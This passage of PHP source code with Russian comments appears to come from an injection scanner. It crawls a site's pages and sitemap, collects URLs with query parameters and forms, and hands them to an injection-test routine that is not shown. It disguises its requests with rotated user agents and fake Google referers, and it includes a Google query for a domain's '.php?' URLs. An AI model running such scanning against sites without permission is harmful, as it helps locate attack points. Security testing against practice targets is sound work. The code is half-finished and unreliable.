= str_replace(array('http://','https://'),'',$value);\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\t$this-\u003ecrowler_url = $value;// заносим host в глобальную переменную\n\t\t\n\n\t\t$value2 = 'http://'.$value;\n\t\t$pars = parse_url($value2);\n\t\t$this-\u003ehost_crawler = $pars['host'];\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t$page =5;\n\t\t$this-\u003epage = 5;\n\t\t$this-\u003etime_all = time();\n\t\t$this-\u003etime2 = $this-\u003etime_crowler;\n\t\t$links_pars = array();\n\t\t\n\t\t\n\t\t///////////////// STEP 1 //////////////////////\n\t\t//$this-\u003ecrowler_google($value);//ищем с гугла линки\n\t\t//$this-\u003el1_google = array_slice($this-\u003el1_google, 0, 10);\n\t\t//$this-\u003ed($this-\u003el1_google,'$this-\u003el1_google');\n\t\n\t\t//exit;\n\t\n\t\t///////////////// STEP 2 ИЩЕМ ВАЩЕ ВСЕ С ГЛАВНОЙ//////////////////////\n\t\t$crowler_links = $this-\u003eget_url($value,true); // парсим все линки с главной странички\n\t\t$crowler_links = array_slice($crowler_links, 0, $this-\u003elimit_page0); // режим по количеству ссылок с главной для чтения всех ссылок вдруг там есть ?\n\t\t$this-\u003ed($crowler_links,'$crowler_links one');// скок чего собрал ваще главной\n\t\t\n\t\n\t\t\n\t\t///////////////// STEP 3 ИЩЕМ ЛИНКИ С SITEMAP //////////////////////\n\t\t$this-\u003esitemap = true; // парсим все линки c sitemap\n\t\t$crowler_links_map = $this-\u003eget_url($value.'/sitemap.xml',true); \n\t\t$this-\u003esitemap = false;\n\t\t$this-\u003ed($crowler_links_map,'$crowler_links_map KARTS');// скок чего собрал ваще главной\n\t\n\t\t$crowler_links_all = array_merge($crowler_links, $crowler_links_map);//объединяем главную и sitemap.xml\n\t\t$this-\u003ed($crowler_links_all,'$crowler_links_all one MAIN+sitemap');// скок чего собрал ваще главной\n\t\t\n\t\t\n\t\t\n\t\tif(count($crowler_links_all)==0 AND count($this-\u003el1_google)==0)\n\t\t{\n\t\t\t$this-\u003ed('not linls get_url crowler page1 and google');\n\t\t\treturn false;\n\t\t}else\n\t\t{\n\t\t\t\n\t\t\t///////////////// STEP 4 ИЩЕТ ИНТЕРЕСНЫЕ ПОДХОДЯЩИЕ ИМЕНО ЛИНКИ С ГЛАВНОЙ СТРАНИЦЫ //////////////////////\n\t\t\t$links_pars = array();\n\t\t\t//главную отдельно+sitemap\n\t\t\t$this-\u003ecrowler_parse_url_main($crowler_links_all,1); \n\t\t\t$this-\u003ed($this-\u003el1_main,'links_pars подходящих с ? найденные с главной + sitemap !!!');\n\t\t\t$this-\u003ed($this-\u003el1_main_form,'links_pars для FORMS!!!');\n\t\t\t\n\t\t\n\t\t\t///////////////// STEP 5 ИЩЕМ ФОРМЫ //////////////////////\n\t\t\t\n\t\t\t\n\t\t\tif(count($this-\u003el1_main_form) \u003e 0){\n\t\t\t\t\n\t\t\t\tforeach($this-\u003el1_main_form as $links_form_check){\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003eform_start($links_form_check);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t$this-\u003ed('++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++');\n\t\t\t\n\t\t\texit;\n\t\t\t//далее идет с каждой найденой ссылкы с главной на новую страницу и собирает там еще ссылки\n\t\t\t$this-\u003ecrowler_parse_url($crowler_links,$page);\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t$links_pars = array_merge_recursive($this-\u003el1_main, $this-\u003el1,$this-\u003el1_google);//с главной(sitemap) +кравлер\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t$links_pars = array_unique($links_pars);// дубли удаляем\n\t\t\t$this-\u003ed($links_pars,'links_pars MAIN+SITEMAP+google');\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t//$this-\u003ed($this-\u003ea1,'$this-\u003ea1');\n\t\t\t\n\t\t\t\n\t\t\tif(count($links_pars[0])==0)\n\t\t\t{\n\t\t\t\t$this-\u003ed('not linls crowler_parse_url crowler');\n\t\t\t\treturn false;\n\t\t\t}else\n\t\t\t{\n\t\t\t\n\t\t\t\tforeach($links_pars as $crowler_one_url)\n\t\t\t\t{\n\t\t\t\t\t$znak = explode('?',$crowler_one_url);\n\t\t\t\t\t\n\t\t\t\t\tif($znak[1] !='')\n\t\t\t\t\t{\n\t\t\t\t\t\t$crowler_one_url = str_replace(array('http://','https://'),'',$crowler_one_url);\t\n\t\t\t\t\t\t$ku[] = trim($crowler_one_url);\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\t\tshuffle($ku);\n\t\t\t\t$ku = array_unique($ku);\n\t\t\t\t$ku = array_slice($ku, 0, 20);\n\t\t\t\t\n\t\t\t\t$this-\u003ed($ku,'kukukuku');\n\t\t\t\t\n\n\t\t\t\texit;\n\t\t\t\t\n\t\t\t\tforeach($ku as $crowler_one_url2)\n\t\t\t\t{                                                      \n\t\t\t\t\t##тестируемс\t\t\t\t\t\n\t\t\t\t\t$this-\u003ed($crowler_one_url2,'new iteration url crowler');\n\t\t\t\t\t\n\t\t\t\t\tif($gg = $this-\u003einj_test($crowler_one_url2))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn $crowler_one_url2.':::'.$gg;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\tpublic function crowler_google($domen){\n\t\t\n\t\t$domen = str_replace('www.','',$domen);\n\t\t\n\t\t$ip = $_SERVER['SERVER_ADDR'];\n\t\t\n\t\t\n\t\t\n\t\t $url = \"https://ajax.googleapis.com/ajax/services/search/web?v=1.0\u0026q=site:$domen++inurl:%22.php%3F%22+%7C+inurl:%22%26%22\u0026userip=$ip\";\n\t\t\n\t\t\n\t\t $this-\u003ed($url,'url');\n\t\t//exit; \n\t\t $ch = curl_init();\n\t\t curl_setopt($ch, CURLOPT_URL,$url);\n\t\t curl_setopt($ch, CURLOPT_USERAGENT, \"\");\n\t\t curl_setopt($ch, CURLOPT_FAILONERROR, 1);\n\t\t curl_setopt($ch, CURLOPT_HEADER, 0);\n\t\t curl_setopt($ch, CURLOPT_REFERER, \"http://www.google.ru/\"); \n\t\t curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\t\t curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);\n\t\t curl_setopt($ch, CURLOPT_TIMEOUT, 15);\n\t\t curl_setopt($ch, CURLOPT_POST, 0);\n\n\t\t$data = curl_exec($ch);\n\t\t\n\t\t$json = json_decode($data);\n\t\t\n\t\t//$this-\u003ed($json,'$json');\n\t\t\n\t\t$this-\u003el1_google = array();\n\t\t\n\t\tif($json-\u003eresponseStatus == 200)\n\t\t{\n\t\t\t\n\t\t\t$this-\u003ed('ok 200');\n\t\t\t\n\t\t\tforeach($json-\u003eresponseData-\u003eresults as $tmp)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$this-\u003ed($tmp-\u003eunescapedUrl,'unescapedUrl');\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t$this-\u003el1_google[] = str_replace(array('http://','https://'),'',$tmp-\u003eunescapedUrl);\n\t\t\t\t\t\n\t\t\t}\n\t\t}else{\n\t\t\t$this-\u003ed('NO (( 200');\n\t\t\t\n\t\t}\t\n\t}\n\t\n\tpublic function crowler_parse_url_main($links,$page=1){\n\n\t\n\t\n\t\n\tif($page ==0 | $this-\u003elimit_crawler ==0){return;}\n\t\n\t\n\tforeach ($links as $link)\n\t{\n\t\t\n\t\t\n\t\t$new = time();\n\t\t$razn = $new-$this-\u003etime_all;\n\t\t\n\t\t//стопаем перебор если слишком долго идет\n\t\tif($razn\u003e$this-\u003etime2_main){$this-\u003ed('TIME!!!! ALL MAIN!!');return false;}\n\t\n\t\t\n\t//\t$link = str_replace('http://', '', $link);\n\t\t//$link = str_replace('https://', '', $link);\n\t\t$link = str_replace('amp;', '', $link);\n\t\t$link = str_replace('../../', '', $link);\n\t\t$link = str_replace('../', '', $link);\n\t\t$link = str_replace('./', '', $link);\n\t\t\n\t\t\n\t$this-\u003ecrowler_url = str_replace('http://', '', $this-\u003ecrowler_url);\n\t$this-\u003ecrowler_url2 = str_replace('www.', '', $this-\u003ecrowler_url);\n\n\tif (preg_match('/(google)\\./si', $link)) continue; // откидываем левые ссылки\n\t\t\n\t\n\t\t\n\tif (preg_match('/(.*).(css|jpg|gif|png|js|flv|swf|avi|mp3|mp4|mreg|pdf|ico|png|jpeg)|^#$/si', $link)) continue; // откидываем левые ссылки\n\t\t\n\t\t\n\t\t\n\t\t$link_old = $link;\n\t\t$l = $link;\n\t\t\n\t\t$link = preg_replace('/=([^\u0026]+)/si', '=', $link); // убираем всё что после = идет \n\t\t\n\t\t\n\t\t\n\t\tif (!in_array($link, $this-\u003ea1_main))\n\t\t{\n\t\t\t\n\t\t\t//$this-\u003ed('\u003c\u003c\u003c '.$link_old.\" link d rabote page - $page \");\n\t\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$this-\u003ea1_main[] = $link; // ваще это массик чтобы не повторяться\n\t\t\t$this-\u003ea2_main[] = $link_old; // ваще это массик чтобы не повторяться\n\t\t\t\n\t\n\t\t\t\tif (preg_match('/^(http:\\/\\/|https:\\/\\/)?(www.)?'.$this-\u003ecrowler_url2.'\\//si', $l))\n\t\t\t\t{ \n\t\t\t\t\t//$this-\u003ed($l,'^(http:\\/\\/|https:\\/\\/)?(www.)?$this-\u003ecrowler_url\\/');\n\t\t\t\t}\n\t\t\t\telseif(preg_match('/^(http:\\/\\/|https:\\/\\/)+(www.)?/si', $l))\n\t\t\t\t{ \n\t\t\t\t\t//$this-\u003ed($l,'(http:\\/\\/|https:\\/\\/)+(www.)');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^\\//si', $l))\n\t\t\t\t{ \n\t\t\t\t\t$l = $this-\u003ecrowler_url.$l;\t\n\t\t\t\t\t//$this-\u003ed($l,'^');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^\\./si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = str_replace('./', '', $l);\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t//$this-\u003ed($l,'^\\./');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^\\?/si', $l))\n\t\t\t\t{ \n\t\t\t\t\t$l = $this-\u003ecrowler_url.\"/\".$l;\t\n\t\t\t\t\t$this-\u003ed($l,'^\\?');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^(.*)\\.(htm|php|asp|aspx|html|shtml|do|cfm|cgi|pl|txt|action|js|asmx|dhtml|xhtml|jsp)/si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t//$this-\u003ed($l,'(htm|php|asp|aspx|html|shtml|do|cf)');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^(.*)\\?=/si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t//$this-\u003ed($l,'^(.*)\\?=');\n\t\t\t\t\t\n\t\t\t\t}elseif (preg_match('/^([a-z,0-9_])+/si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t//$this-\u003ed($l,'([a-z,0-9_\\/])');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t##########################\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t//exit;\n\t\t\t\n\t\t\t//необычные замены производим\n\t\t\t\n\t\t\t$l = str_replace(\"/.php\",'/php',$l);\n\t\t\t$l = str_replace(\"/.asp\",'/asp',$l);\n\t\t\t$l = str_replace($this-\u003ecrowler_url.\"/\".$this-\u003ecrowler_url,$this-\u003ecrowler_url,$l);\n\t\t\t\n\t\t\t//$this-\u003ed(' -\u003e\u003e\u003e '.$link_old.\"($l) \".\"  link itog page - $page\");\n\t\t\t\n\t\t\t//если в домене содердится host но это линк на этом сайте, а не стороний\n\t\t\tif (preg_match('/^(www.)?(.*)?'.$this-\u003ecrowler_url2.'/si', $l))\n\t\t\t{\n\t\t\t\t\n\t\t\t\n\t\t\t\t$this-\u003elimit_crawler--;\n\t\t\t\t//$this-\u003ed($this-\u003elimit_crawler);\n\t\t\t\t\n\n\t\t\t\tif (preg_match('/\\?/si', $l))\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003elimit_crawler--;\n\t\t\t\t\n\t\t\t\t\tif($this-\u003elimit_crawler===0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed($this-\u003elimit_crawler,'$this-\u003elimit_crawler limit 0!!');\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003el1_main[] = $l;// итоговый массив линков\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003el1_main_form[] = $l;// итоговый массив линков\n\t\t\t\t}\t\n\t\t\t}\t\n\t\t}\n\t}\n\t//return $this-\u003el1;\n}\n\n\tpublic function crowler_parse_url($links,$page=3){\n\t\n\t\t\n\t\t\n\t\t\n\t\tif($page ==0 | $this-\u003elimit_crawler ==0){return;}\n\t\t\n\t\t$this-\u003ecrowler_url = str_replace('http://', '', $this-\u003ecrowler_url);\n\t\t$this-\u003ecrowler_url2 = str_replace('www.', '', $this-\u003ecrowler_url);\n\t\t\n\t\tforeach ($links as $link)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\t$new = time();\n\t\t\t$razn = $new-$this-\u003etime_all;\n\t\t\t\n\t\t\t//стопаем перебор если слишком долго идет\n\t\t\tif($razn\u003e$this-\u003etime2){$this-\u003ed('TIME!!!! ALL');return false;}\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t$link = str_replace('amp;', '', $link);\n\t\t\t$link = str_replace('../../', '', $link);\n\t\t\t$link = str_replace('../', '', $link);\n\t\t\t$link = str_replace('./', '', $link);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\tif (preg_match('/(.*).(css|jpg|gif|png|js|flv|swf|avi|mp3|mp4|mreg|ico|png|jpeg)|^#$/si', $link)) continue; // откидываем левые ссылки\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$link_old = $link;\n\t\t\t$l = $link;\n\t\t\t\n\t\t\t$link = preg_replace('/=([^\u0026]+)/si', '=', $link); // убираем всё что после = идет \n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif (!in_array($link, $this-\u003ea1))\n\t\t\t{ \n\t\t\t\t\n\t\t\t\tif($page==$this-\u003epage)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed('-----------------------------');\n\t\t\t\t}\n\t\t\t\t  \n\t\t\t\t$this-\u003ed('\u003c\u003c\u003c '.$link_old.\" link d rabote page - $page \");\n\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$this-\u003ea1[] = $link; // ваще это массик чтобы не повторяться\n\t\t\t\t//$this-\u003ed($link,'link');\n\t\t\t\t$this-\u003ea2[] = $link_old; // ваще это массик чтобы не повторяться\n\t\t\t\t\n\t\t\t\t//$this-\u003ed($this-\u003ea1,'$this-\u003ea1');\n\t\t\t\tif (preg_match('/^(http:\\/\\/|https:\\/\\/)?(www.)?'.$this-\u003ecrowler_url2.'\\//si', $l))\n\t\t\t\t{ \n\t\t\t\t\t$this-\u003ed($l,'^(http:\\/\\/|https:\\/\\/)?(www.)?$this-\u003ecrowler_url\\/');\n\t\t\t\t}\n\t\t\t\telseif(preg_match('/^(http:\\/\\/|https:\\/\\/)+(www.)?/si', $l))\n\t\t\t\t{ \n\t\t\t\t\t$this-\u003ed($l,'(http:\\/\\/|https:\\/\\/)+(www.)');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^\\//si', $l))\n\t\t\t\t{ \n\t\t\t\t\t$l = $this-\u003ecrowler_url.$l;\t\n\t\t\t\t\t$this-\u003ed($l,'^');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^\\./si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = str_replace('./', '', $l);\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t$this-\u003ed($l,'^\\./');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^\\?/si', $l))\n\t\t\t\t{ \n\t\t\t\t\t$l = $this-\u003ecrowler_url.\"/\".$l;\t\n\t\t\t\t\t$this-\u003ed($l,'^\\?');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^(.*)\\.(htm|php|asp|aspx|html|shtml|do|cfm|cgi|pl|txt|action|js|asmx|dhtml|xhtml|jsp)/si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t$this-\u003ed($l,'(htm|php|asp|aspx|html|shtml|do|cf)');\n\t\t\t\t}\n\t\t\t\telseif (preg_match('/^(.*)\\?=/si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t$this-\u003ed($l,'^(.*)\\?=');\n\t\t\t\t\t\n\t\t\t\t}elseif (preg_match('/^([a-z,0-9_])+/si', $l))\n\t\t\t\t{\n\t\t\t\t\t$l = $this-\u003ecrowler_url.'/'.$l;\n\t\t\t\t\t$this-\u003ed($l,'([a-z,0-9_\\/])');\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t##########################\n\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t//необычные замены производим\n\t\t\t\t\n\t\t\t\t$l = str_replace(\"/.php\",'/php',$l);\n\t\t\t\t$l = str_replace(\"/.asp\",'/asp',$l);\n\t\t\t\t$l = str_replace($this-\u003ecrowler_url.\"/\".$this-\u003ecrowler_url,$this-\u003ecrowler_url,$l);\n\t\t\t\t\n\t\t\t\t$this-\u003ed(' -\u003e\u003e\u003e '.$link_old.\"($l) \".\"  link itog page - $page\");\n\t\t\t\t\n\t\t\t\t//если в домене содердится host но это линк на этом сайте, а не стороний\n\t\t\t\tif (preg_match('/^(http:\\/\\/|https:\\/\\/)?(www.)?(.*)?'.$this-\u003ecrowler_url2.'/si', $l))\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003elimit_crawler--;\n\t\t\t\t\t$this-\u003ed($this-\u003elimit_crawler);\n\t\t\t\t\t\n\t\t\t\t\tif($this-\u003elimit_crawler==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed($this-\u003elimit_crawler,'$this-\u003elimit_crawler limit 0!!');\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif(strpos($l,\"?\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed($l,'good l');\n\t\t\t\t\t\t$this-\u003el1[] = $l;// итоговый массив линков\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$get_links = $this-\u003eget_url($l,true);\n\t\t\t\t\t\t\n\t\t\t\t\t//if(count($get_links) !=0){$this-\u003ed($get_links,'ot links - '.$l.' page - '.$page);}\n\t\t\t\t\t\t\t\n\t\t\t\t\t$res = $this-\u003ecrowler_parse_url($get_links,$page-1);\n\t\t\t\t\tif($res === false){return false;}\n\t\t\t\t\t\n\n\t\t\t\t}\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t//return $this-\u003el1;\n\t}\n\t\n\tpublic function get_url($url,$parser=false){\n\t\t\n\t\t$url = str_replace(array('http://','htpps://'),'',$url);\n\t\t$ch = curl_init(); \n\t\t$headers = array\n\t\t(\n\t\t\t'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',\n\t\t\t'Accept-Language: ru,en-us;q=0.7,en;q=0.3',\n\t\t\t'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'\n\t\t); \n\n\t\t      $uagent = array(\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\",\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial\",\t\t  \n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; E-nrgyPlus; .NET CLR 1.1.4322; InfoPath.1)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; SV1; .NET CLR 1.0.3705)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; ds-66843412; Sgrunt|V109|1|S-66843412|dial; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; eMusic DLM/3; MSN Optimized;US; MSN Optimized;US)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz 2.4.025; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz 2.4.179[128]; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; InfoPath.1)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.04b)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; Sgrunt|V109|1746|S-1740532934|dialno; snprtz|dialno; .NET CLR 2.0.50727)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; IEMB3; IEMB3; yplus 5.1.04b)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=none; FunWebProducts; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=none; SV1; snprtz|S04087544802137; .NET CLR 1.1.4322)\",\n\"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; yplus 5.6.02b)\");\n\t\t\n\t\t  ///рандомные значения\n\t\t\n\t\t  $ua = trim($uagent[mt_rand(0,sizeof($uagent)-1)]);\t\n\t\t\n\t\tif($this-\u003ehttps)\n\t\t{\n\t\t\t$url_new = 'https://'.$url;\n\t\t}else\n\t\t{\n\t\t\t$url_new = 'http://'.$url;\n\t\t}\n\t\t\n\t\t\n\t\tcurl_setopt( $ch, CURLOPT_HTTPHEADER,$headers); \n\t\tcurl_setopt ($ch, CURLOPT_URL,$url_new);\n\t\tcurl_setopt ($ch, CURLOPT_HEADER, 1);\n\t\tcurl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); \n\t\tcurl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);\n\t\tcurl_setopt ($ch, CURLOPT_FAILONERROR, 1); // Fail on errors\n\t\tcurl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 20);\n\t\tcurl_setopt ($ch, CURLOPT_REFERER, \"http://google.com\");\n\t\tcurl_setopt ($ch, CURLOPT_USERAGENT, $ua);\n\t\tcurl_setopt ($ch, CURLOPT_COOKIEFILE, 'coo.txt'); \n\t\tcurl_setopt ($ch, CURLOPT_COOKIEJAR, 'coo.txt'); \n\t\t$con = curl_exec($ch); \n\t\t\n\t\tcurl_close ($ch);\n\t\t\n\t\t//$this-\u003ed($con,'$con');\n\t\t//exit;\n\t\t\n\t\t\n\t\tif($parser){$this-\u003eform_search($con,$url);}\n\t\t\n\t\tif($this-\u003esitemap==true)\n\t\t{\n\t\t\t\n\t\t\tpreg_match_all('/\u003cloc\u003e(.*?)\u003c\\/loc\u003e/si', $con, $links); //разделитель \"\n\t\t\t$get_links = $links[1];\n\t\t}else\n\t\t{\n\t\t\tpreg_match_all('/href=\"([^\"]+)/si', $con, $links); //разделитель \"\n\t\t\tpreg_match_all('/href=\\'([^\\']+)/si', $con, $links2); //разделитель '\n\t\t\t$get_links = array_merge($links2[1], $links[1]);\n\t\t\t\n\t\t}\n\t\t\n\t\t//$this-\u003ed($links,'$links');\n\t\t//$this-\u003ed($links2,'$links2');\n\n\t\t\n\t\t$get_links = array_unique($get_links);// дубли удаляем\n\t\t\n\t\t\n\t\t\n\t\tunset($con);\n\t\tunset($get_links[array_search('#', $get_links)]);\n\t\t\n\t\treturn $get_links;\n\t}\n\t\n\tpublic function form_start($url){\n\t\t\n\t\t$this-\u003epost_enable = true; //включаем работу с формами\n\t\t\n\t\t$url = 'http://testphp.vulnweb.com/login.php';\n\t\t\n\t\t//получаем страницу где формы находяться, обычная загрузка страницы\n\t\t$con = $this-\u003eform_page_url($url);\n\t\t$this-\u003eform_set['form_page_default'] = $this-\u003efilter_url($url);\n\t\t//$this-\u003ed($con,'$this-\u003eform_con');\n\t\t//exit;\n\t\t\n\t\t$forms = $this-\u003eform_search($con);//ищем формы на странице, находит в чуток кривом вариенте\n\t\t$this-\u003eform_set['forms'] = $forms;\n\t\t$this-\u003ed($forms,'$forms');\n\t\texit;\n\t\n\t\t$form_post_data  = $this-\u003eform_post_data($forms);// редактируем пост формат под себя\n\t\t$this-\u003eform_set['form_post_data'] = $form_post_data;\n\t\t//$this-\u003ed($form_post_data,'$form_post_data');\n\t\t\n\t\t$form_post_query = $this-\u003eform_post_query($form_post_data);//чистая query строка\n\t\t$this-\u003eform_set['form_post_query'] = $form_post_query;\n\t\t//$this-\u003ed($form_post_query,'$form_post_query');\n\t\t\n\t\t\n\t\t$form_page_full_query = $this-\u003eform_page_full_query($act,$form_post_query);\n\t\t$this-\u003eform_set['form_page_full_query'] = $form_page_full_query;\n\t\t//$this-\u003ed($form_page_full_query,'form_page_full_query');\n\t\t\n\t}\n\t\n\tpublic function form_post_data($forms){//массив пост\n\t\t\n\t\t\n\t\t\n\t\tif(count($forms)\u003e0)\n\t\t{\n\t\t\t\t\n\t\t\t\tforeach($forms as $form_one)\n\t\t\t\t{\n\t\t\t\t\t$form_one = $form_one[0];\n\t\t\t\t\t//$this-\u003ed($form_one,'$form_one');\n\t\t\t\t\t//exit;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$act = $form_one[\"form_data\"][\"action\"];\n\t\t\t\t\t$act = str_replace('http://', '', $act);\n\t\t\t\t\t$act = str_replace('https://', '', $act);\n\t\t\t\t\t$act = str_replace('amp;', '', $act);\n\t\t\t\t\t$act = str_replace('../../', '', $act);\n\t\t\t\t\t$act = str_replace('../', '', $act);\n\t\t\t\t\t$act = str_replace('./', '', $act);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ed($act,'$act');\n\t\t\t\t\t\n\t\t\t\t\tif (preg_match('/'.$this-\u003eform_host.'/si', $act))\n\t\t\t\t\t{\n\t\t\t\t\t\t$new_act = $act;\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif($act{0}=='/'){$new_act = $this-\u003eform_host.$act;}else{$new_act = $this-\u003eform_host.''.$act;}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003ed($new_act,'$new_act');\n\t\t\t\t\t\n\t\t\t\t\t$this-\u003eform_set['form_page_act'] = $new_act;\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tforeach($form_one[\"buttons\"] as $bbb){\n\t\t\t\t\t\t\n\t\t\t\t\t\t$bbb_new[$bbb['name']]=$bbb;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//$this-\u003ed($bbb_new,'$bbb_new');\n\t\t\t\t\t//exit;\n\t\t\t\t\n\t\t\t\t\t$tmpall = array_merge($form_one[\"form_elemets\"],$bbb_new);\n\t\t\t\t\t\n\t\t\t\t\t$form_post_data = $tmpall;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $form_post_data;\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t}else\n\t\t{\n\t\t\treturn false;\n\t\t}\t\t\t\n\t\n\t}\n\t\n\tpublic function form_post_query($postdata){ //Чисто квери\n\t\t\n\t\t\n\t\t//exit;\n\t\t\n\t\t$str='';\n\t\t\n\t\tforeach($postdata as $pp=\u003e$value)\n\t\t{\n\t\t\t\n\t\t\t\t//$this-\u003ed($value,'$value');\n\t\t\n\t\t\t\n\n\t\t\t\t\n\t\n\t\t\t\tif($value['type']=='submit')\n\t\t\t\t{\n\t\t\t\t\tif($value['name'] 